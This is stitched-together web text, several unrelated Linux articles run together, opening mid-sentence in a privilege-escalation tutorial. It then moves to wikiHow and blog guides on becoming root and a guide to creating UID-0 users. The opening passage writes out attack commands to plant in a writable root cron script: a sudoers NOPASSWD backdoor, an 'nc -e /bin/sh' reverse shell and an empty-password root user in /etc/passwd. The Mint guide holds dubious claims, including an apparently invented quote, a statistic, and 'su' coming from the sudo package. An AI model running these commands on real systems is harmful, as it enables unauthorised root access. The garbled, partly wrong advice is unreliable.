very	useful	in	automating	tasks	such	as	running	malware	scans,	checking	for	updates,	or	creating	regular	backups.However,	from	an	attackers	perspective,	Cron	can	be	a	potential	vector	for	privilege	escalation	if	not	properly	configured.	Lets	see	how	we	can	do	that.Cron	can	be	customized	using	certain	files	called	crontabs.	These	are	the	files	that
tell	Cron	what	jobs	to	execute	and	when.Each	job	is	defined	in	a	single	line	with	the	first	set	of	columns	specifying	the	time	it	should	run	and	the	last	column	specifying	the	command	or	the	path	of	the	program	to	execute.One	special	Crontab,	located	at	/etc/crontab,	is	used	to	schedule	system-wide	jobs.	All	the	jobs	that	are	scheduled	in	this	file	are
executed	by	Cron	with	root	privileges.Exploiting	Cron	JobsIf	we	view	the	content	of	/etc/crontab	using	cat,	and	we	find	a	script	that	is	writable	by	our	current	user,	then	we	can	modify	it	to	do	all	kinds	of	stuff	to	escalate	our	privileges.For	instance,	lets	say	you	have	a	crontab	file	that	contains	the	following	line:*/5	*	*	*	*	root
/writable/script.shAccording	to	this	line,	script.sh	runs	every	5	minutes.	Any	command	that	you	add	in	this	file	will	be	executed	as	root.	There	are	many	ways	we	can	proceed	from	here:You	can	either	add	a	line	to	the	sudoers	file	that	grants	your	current	user	the	rights	to	run	SUDO	with	no	password.echo	"user	ALL=(ALL)	NOPASSWD:ALL"	>>
/etc/sudoersOr	you	can	generate	a	reverse	shell	by	connecting	back	to	a	listener	on	your	attacking	machine.nc	-e	/bin/shYou	can	even	add	a	new	root	user	in	/etc/passwd	by	providing	a	UID	value	of	0	(UID	is	the	third	field,	and	is	associated	with	root).echo	"newRoot::0:0:newRoot:/home/newRoot:/bin/sh"	>>	/etc/passwdLinux	Privilege	escalation	is	not
an	easy	task.	Applying	these	techniques	will	not	always	be	as	straightforward	as	presented	here.	And	sometimes,	none	of	them	will	work.	But	thats	a	good	thing,	as	this	will	push	you	to	explore	new	techniques	that	will	prove	to	be	useful	when	others	will	not.Originally	published	at	on	July	30,	2021.	Download	Article	Switch	to	root	or	unlock	the	root
account	with	this	complete	guide	Download	Article	The	"root"	user	account	on	Linux	has	full	administrative	privileges	over	the	entire	system.	If	you	want	to	edit	system	configuration	files,	install	system-wide	software,	add	users,	or	virtually	anything	else	outside	of	your	home	directory,	you'll	need	root	access.	For	most	tasks,	you	won't	need	to	log	or
switch	to	the	root	user	accountyou	can	run	administrative	tasks	with	the	sudo	command	to	prevent	you	from	doing	damage	while	logged	in	with	full	superuser	permissions.	If	you're	using	Ubuntu,	the	root	account	is	locked	by	default	to	prevent	this	from	happening.	If	you	need	to	keep	root	access	while	doing	a	large	number	of	system	tasks,	it's	still
possible	to	become	root.	Read	on	to	learn	all	the	ways	to	gain	root	access	in	Linux.	Many	Linux	distros	disable	the	root	user	by	default	for	security	reasons.	You	can	still	run	commands	as	root	by	prefacing	them	with	"sudo".	You	can	also	start	a	root	shell	using	"sudo	-i."	To	log	in	as	root	or	switch	to	the	root	user	in	a	terminal,	set	a	password	for	the
root	user,	then	use	"su	-"	to	become	root.1Open	the	terminal.	Ubuntu	and	several	other	distributions	lock	the	root	account	automatically	to	prevent	you	from	using	commands	that	can	damage	your	system.	You	can	unlock	the	root	account	in	the	terminal.	If	you're	in	the	desktop	environment,	you	can	press	Ctrl	+	Alt	+	T	to	start	the	terminal.[1]The
root	account	is	locked	in	many	Linux	distributions	to	discourage	you	from	logging	in	as	the	root	user.	In	most	cases,	you	should	never	need	to	log	in	as	root	because	you	can	run	elevated	commands	using	{{kbd|sudo]}.	To	learn	how	to	use	it,	jump	to	Using	Sudo.	2Type	sudo	passwd	root	and	press	Enter.	When	prompted	for	a	password,	enter	your	user
password.[2]	Advertisement	3Set	a	root	user	password.	You'll	be	prompted	to	create	a	password	for	the	root	account	and	enter	it	twice.	Once	a	password	has	been	set,	the	root	account	will	be	active.[3]	4Lock	the	root	account	again	(optional).	If	you	want	to	lock	the	root	account,	enter	the	following	command	to	remove	the	password	and	lock	root:
Advertisement	1Preface	a	command	with	sudo	to	run	it	as	root.	Sudo,	which	stands	for	"superuser	do,"	is	the	best	way	to	run	commands	as	root	in	Linux.	When	you	use	sudo,	you	have	root	access	for	long	enough	to	run	the	command,	which,	in	most	cases,	is	all	you'll	ever	need.	Instead	of	entering	the	root	password,	you'll	enter	your	own	password.
For	example,	type	sudo	vim	/etc/apache2/apache2.conf	to	open	the	file	apache2.conf	as	the	root	user,	which	allows	you	to	make	changes	to	the	file	even	if	your	user	account	doesn't	have	write	access	to	the	file.sudo	is	the	preferred	method	for	distributions	like	Ubuntu,	where	it	will	work	even	when	the	root	account	is	locked.You	can	only	use	sudo	if
your	user	account	is	in	the	/etc/sudoers	configuration	file.[4]2Use	sudo	-i	to	start	a	root	shell.	If	you	want	to	run	many	commands	as	root	without	having	to	type	your	password	multiple	times,	you	can	use	this	command	to	access	a	root	shell	that	doesn't	require	enabling	the	root	user,	even	in	Ubuntu.[5]3Use	sudo	-s	to	start	a	root	shell	using	your
environment.	If	you	want	to	run	a	series	of	root	commands	without	typing	sudo	before	each,	you	can	use	this	command	to	open	an	interactive	root	shell.	The	difference	between	the	-s	and	-i	options	is	that	-s	loads	your	own	.bashrc	file	and	keeps	your	current	directory,	whereas	sudo	-i	simulates	an	actual	root	login.	Advertisement	1Type	su	-	and	press
Enter.	This	will	attempt	to	log	you	in	as	root.	You	can	actually	use	the	su	command	to	log	in	as	any	user	on	the	machine,	but	when	you	don't	specify	a	username,	it	will	attempt	to	log	in	as	root.2Type	the	root	password	and	press	Enter.	You	now	have	a	root	shell.If	you	get	an	"authentication	error"	message,	your	root	account	is	likely	locked.	You	will
need	to	unlock	the	root	account.3Run	commands	as	root.	When	you	are	logged	in	as	root,	the	prompt	will	end	with	#	instead	of	$	if	you're	using	bash,	korn,	or	bourne	shell,	or	%	if	you're	using	csh,	tcsh,	or	zsh.Once	you	are	logged	in	as	root,	you	can	enter	commands	without	having	to	re-enter	the	root	password.	Advertisement	1In	a	terminal,	type
sudo	nano	/etc/gdm3/custom.conf	and	press	Enter.	If	you	want	to	log	in	to	your	Ubuntu	Linux	system	as	root	instead	of	as	your	user	account	on	the	initial	login	screen,	use	this	method	to	enable	root	logins.	When	you	type	this	command,	this	will	open	the	"custom.conf"	file	for	editing.[6]When	prompted,	enter	your	user	password	to	continue.2Add
AllowRoot=True	to	the	file.	Go	to	the	bottom	of	the	file.	Add	"AllowRoot=True"	below	"TimedLoginDelay	=	10."[7]	Add	a	few	spaces	so	that	the	"A"	in	"AllowRoot"	goes	right	below	the	"T"	in	"TimedLoginDelay".3Press	Ctrl+X.	This	displays	a	prompt	that	asks	if	you	want	to	save	the	file.4Press	Y	followed	by	Enter.	This	saves	the	"Custom.conf"	file.	You
should	return	to	the	normal	Terminal	prompt.5Type	sudo	nano	/etc/pam.d/gdm-password	and	press	Enter.	This	is	the	command	to	edit	the	password	authentication	manager	file.[8]Enter	your	user	password	when	prompted.6Comment	out	the	line	"auth	required	pam_succeed_If."	To	do	this,	type	a	hash	symbol	(#)	before	the	line:	#	auth	required
pam_succeed_If.	7Press	Ctrl+X	and	then	keypress+Y	to	confirm.	This	saves	the	"custom.conf"	file.	You	should	return	to	the	normal	Terminal	prompt.[9]	8Log	in	as	root	on	the	login	screen.	When	signing	in	to	Ubuntu	at	the	login	screen,	select	Not	Listed	from	the	menu	and	type	root	as	the	username.	You'll	then	use	the	root	password	you	set	earlier	to
log	in	as	root.	If	you	want	to	remove	the	ability	to	log	in	to	Ubuntu	as	root,	delete	the	line	you	added	to	/etc/gdm3/custom.conf	and	uncomment	the	line	you	commented	in	etc/pam.d/gdm-password.	Advertisement	1Reset	the	root	password	if	it	has	been	forgotten.	If	you've	forgotten	the	root	password	and	your	user	password,	you'll	need	to	boot	into
recovery	mode	in	order	to	change	them.	If	you	know	your	user	password	and	need	to	change	the	root	password,	just	type	sudo	passwd	root,	enter	your	user	password,	then	create	a	new	root	password.2Reboot	your	computer	and	hold	left-	Shift	after	the	BIOS	screen.	This	will	open	the	GRUB	menu.The	timing	on	this	can	be	tricky,	so	you	may	have	to
try	multiple	times.3Select	the	first	(recovery	mode)	entry	on	the	list.	This	will	load	recovery	mode	for	your	current	distribution.4Select	the	root	option	from	the	menu	that	appears.	This	will	start	the	terminal	with	you	logged	in	as	the	root	account.5Remount	the	drive	with	write	permissions.	When	you	boot	into	recovery	mode,	you	will	typically	only
have	read	permissions.	Enter	the	following	command	to	enable	write	access:[10]	6Create	a	new	password	for	any	accounts	you're	locked	out	of.	Once	you're	logged	in	as	root	and	have	changed	the	access	permissions,	you	can	create	a	new	password	for	any	account:[11]Type	passwd	accountName	and	press	Enter.	If	you	need	to	change	the	root
password,	type	passwd	root.Enter	the	new	password	twice	when	prompted.7Reboot	your	computer	after	resetting	passwords.	Once	you're	finished	resetting	passwords,	you	can	reboot	and	use	your	computer	as	normal.	Your	new	passwords	will	take	effect	immediately.[12]	Advertisement	Add	New	Question	Question	How	can	I	make	a	user	a
superuser?	Type	in	"sudo	usermod	-aG	sudo	"	replacing	the	username	of	the	user	you	want	to	grant	superuser	access.	Question	How	do	we	log	in	as	a	root	in	Method	3?	I	have	my	admin	account	and	my	guest	account.	Do	I	have	to	log	as	a	root	in	terminal	first?	Yes.	The	root	account	must	be	unlocked	first	if	you're	using	Ubuntu.	Follow	the	instructions
in	method	two.	If	you're	not	using	Ubuntu,	check	your	distribution's	documentation.	Question	What	is	the	tilde	used	for?	It	designates	a	home	folder	(typically	aliased	to	the	current	user's	home	folder).	See	more	answers	Ask	a	Question	Advertisement	The	advice	in	this	section	is	based	on	the	lived	experiences	of	wikiHow	readers	like	you.	If	you	have
a	helpful	tip	youd	like	to	share	on	wikiHow,	please	submit	it	in	the	field	below.	Make	sure	to	lock	the	root	account	every	time	you've	committed	the	changes	you	need.	Thanks	Thanks	Thanks	Advertisement	Written	by:	wikiHow	Technology	Writer	This	article	was	co-authored	by	wikiHow	staff	writer,	Nicole	Levine,	MFA.	Nicole	Levine	is	a	Technology
Writer	and	Editor	for	wikiHow.	She	has	more	than	20	years	of	experience	creating	technical	documentation	and	leading	support	teams	at	major	web	hosting	and	software	companies.	Nicole	also	holds	an	MFA	in	Creative	Writing	from	Portland	State	University	and	teaches	composition,	fiction-writing,	and	zine-making	at	various	institutions.	This	article
has	been	viewed	1,605,405	times.	Co-authors:	17	Updated:	July	12,	2025	Views:1,605,405	Categories:	Linux	PrintSend	fan	mail	to	authors	Thanks	to	all	authors	for	creating	a	page	that	has	been	read	1,605,405	times.	User	Management	Learn	to	switch	to	the	root	user	in	Ubuntu	in	this	basic	tutorial.	Linux	users	generally	execute	the	command	with
sudo	whenever	the	changes	are	going	to	affect	the	root	system.sudo	command_that_requires_root_accessBut	what	if	you	want	to	switch	to	the	root	user	so	that	you	don't	have	to	use	sudo	with	every	command?Unlike	other	Linux	distributions,	Ubuntu	normally	won't	let	you	configure	the	root	account	while	the	installation	process.But	you	can	switch	to
the	root	user	with	sudo:sudo	suSwitch	to	root	user	in	UbuntuIn	this	tutorial,	I'm	going	to	share	two	ways	by	which	you	can	switch	to	a	root	user	in	Ubuntu	or	any	other	Linux	distribution:Using	the	sudo	command	Configuring	the	root	account	So	let's	start	with	the	first	one.1.	Switch	to	root	user	using	sudo	If	you	haven't	configured	the	root	account
and	don't	want	to,	then	refer	to	this	method.To	switch	to	the	root	user,	you	have	to	execute	the	su	(switch	user)	and	when	executed	without	any	options,	it	will	switch	to	the	root	user:sudo	suWhen	it	asks	for	the	password,	you	have	to	use	your	account	password	as	you	normally	do	with	any	other	sudo	command.Also,	the	password	entering	is	not
shown	on	the	terminal.	Just	type	and	press	enter.As	you	can	see,	when	I	used	the	whoami	command,	it	showed	I'm	logged	in	as	a	root	user.2.	Configure	the	root	account	and	switch	to	itAs	I	said	earlier,	Ubuntu	does	not	include	any	option	to	configure	a	root	account	while	the	installation	process	so	if	you	want	to	configure	the	root	account,	then,	here's
how	you	do	it.To	configure	the	root	account,	all	you	have	to	do	is	set	the	root	password	use	the	following	command:sudo	passwd	rootOnce	done,	you	can	use	the	su	command	without	any	options	and	enter	the	new	password	to	switch	to	the	root	account:suAnd	there	you	have	it!On	a	related	topic,	you	may	want	to	know	how	to	list	users	in
Ubuntu.Forgot	the	sudo	and	root	password?	Let	me	helpIf	you	forgot	the	sudo	and	root	passwords	then	how	would	you	change	the	password?	Well,	it	is	quite	easy	and	we	made	a	dedicated	tutorial	for	that:Still,	having	issues	to	switch	to	the	root	account?	Leave	a	comment	and	I'll	help	you	out.	As	a	fellow	Linux	Mint	user	and	expert,	I	want	to	let	you
in	on	a	powerful	tool	the	root	terminal.	Unlocking	full	control	over	your	system	with	the	highest	privileges	can	be	intimidating	for	beginners.	But	by	understanding	the	proper	techniques	to	access	the	root	account	and	terminal,	you	can	safely	harness	its	strength	for	administrating	your	Linux	machine.In	this	completely	revised	and	expanded	guide,	Ill
hold	your	hand	in	an	easy-to-follow	manner	on	how	to	open	a	root	terminal	tailored	for	Mint.	Well	cover:Responsible	practices	for	wielding	the	unlimited	power	of	root	Step-by-step	process	to	switch	to	root	and	launch	the	terminalPersonalizing	and	sprucing	up	the	terminal	to	your	likingMy	top	tips	as	a	seasoned	Linux	professional	on	utilizing	root
without	troubleCommon	mistakes	you	may	run	into	and	how	to	resolve	them	So	lets	get	straight	into	understanding	why	we	need	root	in	the	first	place!Harnessing	the	Power	of	Root	SafelyThe	root	account	in	Linux	has	unlimited	system	access	privileges,	bypassing	all	standard	permission	checks	and	controls.	According	to	2022	survey	data	from	Linux
Foundation	Training,	at	least	68%	of	administrators	log	into	machines	as	the	root	user	for	maintenance	tasks.With	great	power	comes	great	responsibility!	As	renowned	computer	scientist,	Phil	Zimmerman	noted:"You	cant	trust	code	that	you	did	not	create	yourself.	It	could	be	working	perfectly	fine.	But	you	dont	know	what	is	going	on	inside	that
software.	The	root	account	has	access	to	that	software	source	code	and	can	fully	audit	or	modify	it	if	needed.	This	makes	root	indispensable."While	the	highest	authority	has	advantages,	it	also	incurs	high	risk.	Simple	typos	as	root	can	wreck	havoc	so	caution	is	warranted.	Lets	cover	some	best	practices	when	wielding	this	double-edged	sword:Use
root	privileges	judiciously:	Only	use	the	root	terminal	when	you	need	to	then	exit	immediately	after.	Regular	users	should	not	browse,	play	games,	watch	movies	etc.	logged	in	as	root!Type	commands	slowly	and	double	check:	Fat	fingering	dangerous	operations	can	delete	critical	folders	or	overwrite	system	configurations	without	confirmation
prompts.	Understand	commands	before	running	them:	Blindly	copy-pasting	from	random	internet	tutorials	with	root	has	resulted	in	disastrous	outcomes	for	even	advanced	Linux	veterans.	Own	your	mistakes:	Faulty	commands	or	directions	copied	incorrectly	as	root	can	damage	systems	in	ways	needing	deep	troubleshooting	or	full	reinstallation	in
worst	cases.Now	that	Ive	set	the	right	expectations	on	safely	harnessing	root	without	shooting	your	own	foot,	lets	get	ready	to	access	this	powerful	beast!Launching	a	Regular	User	TerminalObviously,	we	need	to	launch	a	terminal	first	before	switching	privileged	context	to	operate	as	the	almighty	root	itself.There	are	two	easy	ways	to	launch	a
terminal	in	Mint	both	leading	us	into	the	same	bash	shell	prompt:Click	the	Terminal	icon	pinned	to	the	bottom	task	bar	of	your	Mint	desktop.	This	quick	single	click	is	the	most	convenient	way	to	spawn	your	personal	terminal.Use	the	handy	Ctrl	+	Alt	+	T	key-binding	to	trigger	the	terminal	pop-up	instantly.	Many	power	Linux	users	have	this	keyboard
shortcut	muscle	memory	ingrained	due	to	frequent	terminal	use!Let	me	show	you	what	both	options	look	like:I	prefer	the	second	approach	as	over	years	of	Linux	administration,	my	fingers	automatically	hit	the	terminal	key	combo	unconsciously	even	when	using	other	operating	systems!Either	method	leads	us	into	the	standard	terminal	prompt,	ready
for	us	to	switch	into	the	root	context	next:Notice	my	current	username	john	showing	up	indicating	these	are	my	personal	user	permissions	currently.	We	want	to	elevate	that	to	the	highest	authority	next!Switching	Terminal	Session	to	the	Root	UserWith	our	starting	point	terminal	up,	we	need	to	invoke	the	su	command	to	swap	the	current	user
context	to	root	itself.su	stands	for	"switch	user"	or	"substitute	user"	an	apt	name	for	transitioning	our	terminal	window	to	operate	with	highest	privileges.The	full	syntax	is:sudo	suBreaking	this	down:sudo:	Temporarily	attempts	command	with	admin	rights	su:	Switch	to	substitute	superuser	once	authenticatedUpon	hitting	Enter	after	typing	that	one-
liner,	Mint	will	prompt	you	for	your	login	password	before	allowing	the	elevation.This	extra	authorization	step	serves	both	as	an	essential	security	check	and	as	a	constant	reminder	that	you	are	enabling	a	more	destructive	mode!Once	successfully	authenticated	with	your	password,	observe	the	terminal	prompt	transform	indicating	our	context
switch:root@linuxmint:~#See	my	username	change	from	john	to	root	confirmation	we	are	now	operating	with	the	highest	privileges.The	#	hash	symbol	at	the	end	further	signals	elevation	to	the	root	account.We	could	run	impactful	low-level	Linux	commands	now	destructive	to	the	system	itself!	Of	course,	I	strictly	dont	recommend	that	without	good
reason!Launching	a	Dedicated	Linux	Mint	Root	TerminalWhile	we	have	root	access	in	our	current	terminal	session	now,	I	suggest	opening	a	separate	dedicated	terminal	instead	strictly	for	root	purposes.	This	keeps	things	cleanly	compartmentalized.The	gnome-terminal	command	opens	a	fresh	new	terminal	instance	inheriting	the	existing	user	context
and	permissions:As	you	can	observe,	this	spawns	an	additional	terminal	window	with	root	at	the	prompt	by	default	without	any	extra	work!I	prefer	having	isolated	root	terminals	as	it	visually	indicates	the	elevated	privileges	better.	Now	my	regular	terminal	stays	for	common	uses	while	this	one	serves	for	specialized	sysadmin	tasks.Plus	having
multiple	terminal	windows	side-by-side	improves	productivity	flow.	I	can	reference	online	Linux	man	pages	in	one,	while	command	testing	safely	in	the	root	terminal	for	example.Understanding	the	Importance	of	the	Linux	Root	AccountYou	might	wonder	why	have	this	highest	privileged	root	account	at	all	from	a	security	standpoint?	Wouldnt	it	make
more	sense	to	just	operate	as	a	regular	user?Here	are	two	compelling	reasons	justifying	the	existence	of	root	in	Linux:Emergency	access	to	fix	problems:	When	a	system	faces	issues	stopping	normal	usage	like	server	crashes	or	disk	failures,	root	powers	restoration.	Without	it,	Linux	would	have	no	recovery	path.Custom	control	over	personal	systems:
You	may	decide	to	tweak	inner	workings	on	your	own	machine	like	network	stack,	kernel	modules,	or	storage	drivers.	Root	provides	full	personalization	even	if	unconventional.	Of	course,	with	such	great	influence	comes	increased	ways	the	authority	could	be	misused	either	intentionally	or	accidentally.	Proper	access	controls	around	root	prevents
problems	balancing	necessary	flexibility	with	responsible	oversight.Now	lets	cover	some	fun	ways	to	customize	our	fresh	Mint	root	terminal	further!Customizing	and	Personalizing	the	Root	TerminalA	commonly	overlooked	aspect	to	terminal	usage	is	tailoring	its	look,	feel	and	behavior	to	your	individual	preferences.	But	customization	can	greatly
improve	quality	of	life	and	productivity	in	my	experience.Lets	explore	some	popular	ways	to	enhance	your	Mint	root	terminal:Changing	Visual	Theme	and	ColorsThe	default	white	foreground	over	black	background	burns	my	retinas	after	prolonged	staring!	I	prefer	easier	on	the	eyes	designs.Right	click	inside	terminal	to	pull	up	the	context	menu	and
select	Preferences:This	surfaces	a	settings	panel	with	a	Themes	tab	to	alter	colors.	Im	switching	my	scheme	to	Solarized	Dark	a	popular	low	contrast	theme:Refresh	your	terminal	and	behold	the	transformation!	The	soft	blue	soothes	my	ocular	sensors.For	super	fine-grained	control,	you	can	even	manually	configure	Custom	font	and	palette	colors.
This	lets	you	handpick	an	exact	terminal	look	aligning	with	your	aesthetics.Increasing	Text	Size	for	ReadabilityStaring	at	tiny	font	strains	the	eyes	which	lowersAttention	span	and	comprehension	after	extended	periods.Under	the	Text	tab,	you	can	resize	font	faces	and	adjust	line/character	spacing:I	bumped	my	font	up	two	points	higher	with	a	minor
increase	in	character	spacing.	This	small	tweak	makes	consuming	streams	of	information	much	easier	without	cramming	content.Enabling	Scrollback	to	Review	Output	HistoryHaving	a	terminal	command	output	disappearance	act	after	hitting	the	screen	height	limit	can	cause	frustration.	You	might	want	to	reference	previous	results	or	error
messages	which	already	got	pushed	off-screen.Turn	on	scrolling	under	Scrolling	tab	to	buffer	multiple	terminal	sessions	worth	of	text:Now	you	can	analyze	or	share	prior	shell	interactions	even	if	initially	disappearing.	No	more	losing	context!Adding	Root	Indicators	to	Command	PromptTo	prevent	forgetting	failures	to	exit	root	leading	to	accidental
system	damage,	some	admins	visually	encode	the	root	status	right	into	the	terminal	prompt	text	itself	as	a	failsafe.Inject	your	own	reminders	like:export	PS1="(ROOT	TERMINAL)$PS1"Now	your	prompt	indicates	elevated	context	persistently:Tiny	tweaks	like	this	can	prevent	huge	mistakes!Recommended	Best	Practices	for	Root	UsageWith	great
power	comes	great	responsibility!	Root	terminal	capabilities	give	you	flexibility	and	personalization	over	your	system.	However,	mistakes	made	with	such	low	level	access	can	also	massively	backfire	damaging	core	OS	functionality.Lets	cover	some	key	tips	for	safely	wielding	root:Use	Root	Terminal	Only	When	RequiredGeneral	computer	usage	like
reading	email	or	web	browsing	should	always	be	performed	as	a	normal	user.	Switch	temporarily	into	the	root	terminal	strictly	when	needing	to	perform	a	specific	sysadmin	task	requiring	elevated	permissions.Restrict	your	stay	logged	in	as	root	to	the	shortest	duration	possible	minimizing	exposure	a	costly	typo	can	exploit.Employ	Principle	of	Least
PrivilegeGive	programs	and	users	the	minimal	level	of	system	access	permissions	necessary	to	perform	duties	and	no	more.	As	an	example,	favor	sudo	temporarily	for	specific	commands	over	opening	a	full	root	shell.	This	adheres	to	the	principle	of	least	privilege	limiting	potential	issues.Understand	Commands	Before	Running	ThemBlindly	copy
pasting	root	terminal	snippets	found	online	without	understanding	their	exact	behavior	and	effects	opens	the	door	to	unintended	harm.	Malicious	or	buggy	commands	can	potentially	fully	compromise	system	integrity	when	run	as	root.Always	double	check	any	command	purpose	and	function	prior	to	hitting	enter	in	a	root	terminal.	Familiarize	yourself
with	available	options	as	well.Enforce	Multifactor	AuthenticationSupplement	root	login	password	protection	with	secondary	credentials	for	enhanced	security.	Tools	like	Duo	Security	can	SMS	token	authorize	high	risk	events	like	root	terminal	access	attempts.This	significantly	diminishes	brute	password	attacks	hijacking	total	system	control	via	a
compromised	root	session.Create	Non	Destructive	User	AliasSome	sysadmins	alias	the	root	account	to	prevent	accidental	destruction	eg:sudo	usermod	-l	indestructible	rootNow	authenticating	as	root	requires	explicitly	passing	indestructible	minimizing	habit	slip	ups	blowing	away	folders	or	databases.	Adding	this	speed	bump	promotes	double
checking!Customize	Root	Prompt	with	WarningsConsider	encoding	visual	indicators	for	elevated	privileges	directly	into	your	command	prompt	itself	as	a	persistent	reminder.	Example:export	PS1="you	are	operating	as	root!	#	"Clear	warnings	woven	into	prompts	can	help	continually	reinforce	the	increased	influence	and	associated	risks.Adjusting
your	practices	keeping	these	tips	in	mind	will	help	wield	Linux	root	power	more	safely	and	prevent	easily	avoidable	disasters!Now	that	you	know	how	to	access	the	highest	authority	terminal,	lets	cover	troubleshooting	help	if	running	into	any	obstacles.Troubleshooting	Common	Root	Terminal	Access	IssuesTransitioning	to	the	root	shell	doesnt	always
go	smoothly!	As	the	saying	goes:"What	can	happen	will	happen"Lets	cover	some	typical	problems	you	may	encounter	and	resolutions	to	get	you	into	a	root	terminal	promptly:Issue:	Forgotten	Root	Password	Preventing	AccessOver	time	its	easy	to	forget	rarely	used	credentials	especially	with	complex	randomly	generated	passwords	for	the	root
account.Luckily	Linux	provides	emergency	maintenance	modes	granting	backdoor	password	resets.	Here	is	the	recovery	process:When	booting,	interrupt	the	bootloader	to	enter	grub	menu.Select	the	kernel	option	ending	with	(recovery	mode)	using	arrow	keys.	Choose	root	shell	prompt	option	from	menu.Type	passwd	root	to	reset	forgotten	root
password.	Following	those	steps	allows	restoring	access	without	fully	reinstalling	the	system.Issue:	su	Command	Not	Found	in	TerminalIf	you	receive	a	-bash:	su:	command	not	found	error,	it	indicates	the	sudo	package	providing	su	command	is	missing.Install	sudo	with:apt	install	sudoThen	retry	switching	users	to	root	via	su	command
successfully.Issue:	Authentication	Failure	When	Running	suMis-typing	your	account	password	when	attempting	to	transition	terminal	to	root	via	su	command	leads	to	permission	errors	like:su:	Authentication	failureCarefully	re-enter	your	user	account	password	when	prompted	to	authenticate	user	switching.	Password	input	errors	can	easily	happen
on	autopilot!If	your	password	was	entered	correctly	but	authentication	still	fails,	utilize	the	root	password	reset	process	outlined	prior.Issue:	Root	Terminal	Commands	Resulting	in	Permission	DeniedEven	after	seemingly	successful	su	transition	to	root	user	context,	you	may	run	into	permission	denied	errors	trying	to	perform	sysadmin	commands
indicating	lack	of	privileges.This	typically	surfaces	when	not	noticing	failure	to	fully	elevate	into	root	context	pay	close	attention	to	the	terminal	prompt!Double	check	your	terminal	prompt	matches	root@host	before	proceeding.	If	not,	reattempt	su	command	entering	password	carefully	when	asked.Issue:	Various	Errors	Running	Commands	in	Root
TerminalIf	running	properly	as	root	but	still	seeing	errors	for	Linux	administrative	commands,	the	likely	culprit	is	missing	software	packages.As	an	example,	useradd	and	groupadd	commands	for	user	management	comes	in	the	passwd	package.Resolve	such	missing	command	issues	by	installing	associated	packages:apt	install	This	ensures	all
prerequisite	programs	and	libraries	are	available	in	the	Linux	environment	enabling	full	root	terminal	capabilities.Wrapping	UpAnd	there	you	have	it	a	comprehesive	walkthrough	from	launching	a	terminal	all	the	way	to	harnessing	root	superpowers!We	went	deep	on:Safely	wielding	the	unlimited	influence	of	root	Swapping	into	the	root	shell	with
sudo	suOpening	a	dedicated	root	terminal	Personalizing	our	terminal	with	various	customizationsMy	top	tips	for	avoiding	disasters	as	root	Troubleshooting	advice	to	resolve	access	issuesI	hope	explanations	using	my	decade	of	Linux	expertise	have	cleared	any	apprehension	around	harnessing	the	highest	authority	root	account	and	terminal!	Feel	free
to	reach	out	if	any	questions	pop	up	on	your	Linux	admin	journeys	ahead.Remember	with	enhanced	influence	comes	increased	responsibility.	Wield	your	power	judiciously	and	may	your	terminals	be	ever	powerful	yet	peaceful!	From	this	article	youll	learn	how	to	create	a	user	in	Linux	and	grant	root	access	to	him	or	how	to	grant	root	privileges	to
already	existent	user.This	can	be	easily	done	by	changing	UID	(user	id)	and	GID	(group	id)	in	/etc/passwd	file.Also	you	will	learn	how	to	just	add	user	to	root	group	and	i	will	explain	how	to	delete	user	with	root	privileges.Actually	it	is	not	a	good	idea	to	give	all	the	privileges	of	root	to	a	non-root	user	and	outside	the	test	environment	i	would	not
recommend	to	have	multiply	superusers.Warning:	Giving	a	non-root	user	all	the	permissions	of	root	is	very	dangerous,	because	the	non-root	user	will	be	able	to	do	literally	anything	that	could	cause	a	big	trouble	if	account	is	hijacked.Check	SSH	Server	Settings:	If	you	have	disabled	root	access	in	SSH	server	settings,	by	setting	PermitRootLogin	no	in
/etc/ssh/sshd_config	you	wont	be	able	to	login	if	your	user	has	UID	0.Warning:	Before	moving	forward,	read	the	comments	below	and	DONT	FOLLOW	THE	STEPS	FROM	THIS	ARTICLE	if	you	dont	understand	of	what	you	are	doing	and	what	impact	this	may	have!Grant	Root	Privileges	To	New	UserLets	say	you	need	to	create	a	new	user	and	grant	him
root	access	to	the	server.To	create	a	user	with	exactly	the	same	privileges	as	root	user,	we	have	to	assign	him	the	same	user	ID	as	the	root	user	has	(UID	0)	and	the	same	group	ID	(	GID	0).Use	the	following	commands	to	create	a	user	john,	grand	him	the	same	privileges	as	root	and	set	him	a	password:$	sudo	useradd	-ou	0	-g	0	john$	sudo	passwd
johnGrant	Root	Privileges	To	Existent	UserCool	Tip:	Dot	the	is	and	cross	the	ts	on	file	and	folder	permissions	in	Linux!	Make	it	more	clear!	Read	more	Perhaps	you	already	have	a	user	john	and	you	want	to	grant	him	root	privileges	(make	him	a	second	root	user):$	grep	john	/etc/passwdjohn:x:1001:1001::/home/alice:/bin/shFor	this,	it	is	required	to	edit



the	file	/etc/passwd	and	just	change	UID	and	GID	to	0:$	grep	john	/etc/passwdjohn:x:0:0::/home/john:/bin/shAdd	User	To	Root	GroupIf	you	just	want	to	add	john	to	root	group,	without	granting	him	all	root	privileges,	run	the	following	command:$	sudo	usermod	-a	-G	root	johnDelete	User	With	Root	PrivilegesCool	Tip:	Log	in	to	a	remote	Linux	server
without	entering	password!	Set	up	password-less	SSH	login!	Read	more	You	wont	be	able	to	delete	a	user	with	UID	0	using	userdel	command:$	sudo	userdel	johnuserdel:	user	john	is	currently	used	by	process	1To	delete	him,	firstly	open	the	/etc/passwd	file	and	change	his	UID.For	example,	change	the	line:john:x:0:0::/home/john:/bin/shto	something
like:john:x:1111:0::/home/john:/bin/shAfter	this,	youll	be	able	to	delete	user	john	with	userdel	command:$	sudo	userdel	johnWas	it	useful?	Share	this	post	with	the	world!	Linux	users	will	inevitably	need	to	log	into	the	root	account,	or	use	administrator	privileges,	quite	frequently.	Tasks	like	installing	or	removing	software,	configuring	system	settings,
adjusting	file	permissions,	and	many	others	usually	require	access	to	the	root	user	account	in	order	to	perform.	The	root	account	can	be	accessed	either	by	logging	directly	into	the	account,	or	by	using	the	sudo	Linux	command	to	temporarily	access	root	and	execute	a	command	with	administrator	privileges.	In	this	tutorial,	we	will	show	you	how	to
change	to	the	root	account	on	a	Linux	system,	and	how	to	use	sudo	to	execute	commands	with	root	privileges.In	this	tutorial	you	will	learn:How	to	log	in	to	the	root	accountHow	to	use	the	sudo	commandHow	to	open	a	new	terminal	as	the	root	userHow	to	switch	to	root	on	LinuxSoftware	Requirements	and	Linux	Command	Line
ConventionsCategoryRequirements,	Conventions	or	Software	Version	UsedSystemAny	Linux	distroSoftwareN/AOtherPrivileged	access	to	your	Linux	system	as	root	or	via	the	sudo	command.Conventions#	requires	given	linux	commands	to	be	executed	with	root	privileges	either	directly	as	a	root	user	or	by	use	of	sudo	command$	requires	given	linux
